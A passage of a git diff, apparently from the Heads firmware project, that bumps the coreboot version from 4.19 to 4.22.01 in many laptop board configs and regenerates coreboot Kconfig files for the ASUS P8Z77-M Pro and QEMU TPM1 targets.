b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 7fbe36d81..f8874bab2 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 48929000d..0fa54f92d 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config CONFIG_LINUX_CONFIG=config/linux-t440p.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 4b78c22ef..bdcd19a34 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index f0adab5a8..ec1efd74b 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index c0c56bc23..1da0a1c82 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config CONFIG_LINUX_CONFIG=config/linux-w541.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index dc583c8e2..f0e7eba45 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 4d5490815..80887214f 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 0398b5429..06749249b 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -8,7 +8,7 @@ # Addition vs standard x230 board config: # HOTP_KEY: HOTP challenge for currently supported USB Security dongles export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index de6311540..af1dd4d4c 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 1ae2225da..1207493f3 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 5bdcfdbe9..71459a220 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -9,7 +9,7 @@ # Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # USB Keyboard support export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 356ca7c75..4e9e88c86 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -4,7 +4,7 @@ # IDEALLY you should flash maximized top and bottom rom images exteranlly once instead. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy-flash.config diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index cc877284b..ba1f3978a 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -4,7 +4,7 @@ # dropbear support(ssh client/server) # e1000e (ethernet driver) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index f13767766..ae7b8d71a 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 11da6fd55..4cccbf50f 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 7a9cfec82..ce1474395 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -25,7 +25,7 @@ CONFIG_LINUX_CONFIG=config/linux-c216.config CONFIG_COREBOOT_CONFIG=config/coreboot-z220-cmt.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index d467890ff..4731c9ef8 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -66,6 +67,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 CONFIG_VENDOR_ASUS=y # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -79,7 +81,9 @@ CONFIG_VENDOR_ASUS=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set @@ -97,7 +101,6 @@ CONFIG_VENDOR_ASUS=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -165,13 +168,13 @@ CONFIG_BOARD_ASUS_P8X7X_SERIES=y CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 # CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -181,6 +184,10 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/p8z77-m_pro/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/p8z77-m_pro/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="P8Z77-M PRO" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -190,9 +197,13 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_TTYS0_BAUD=115200 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -235,29 +246,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_TTYS0_BASE=0x3f8 -CONFIG_TTYS0_LCS=3 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -278,12 +287,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -326,7 +334,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -366,9 +373,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -378,6 +386,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -403,8 +412,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -425,10 +433,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -440,21 +444,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -471,9 +472,11 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -483,6 +486,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -516,7 +520,12 @@ CONFIG_TPM=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -539,6 +548,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -555,6 +567,7 @@ CONFIG_SQUELCH_EARLY_SMP=y # # I/O mapped, 8250-compatible # +CONFIG_TTYS0_BASE=0x3f8 # # Serial port base address = 0x3f8 @@ -567,6 +580,7 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_38400 is not set # CONFIG_CONSOLE_SERIAL_19200 is not set # CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y @@ -603,6 +617,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -618,13 +633,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -649,6 +663,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -663,13 +681,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 022084c3e..5732a181e 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -66,6 +67,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -79,7 +81,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set @@ -97,7 +101,6 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -141,30 +144,35 @@ CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PCIEXP_HOTPLUG_BUSES=32 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # 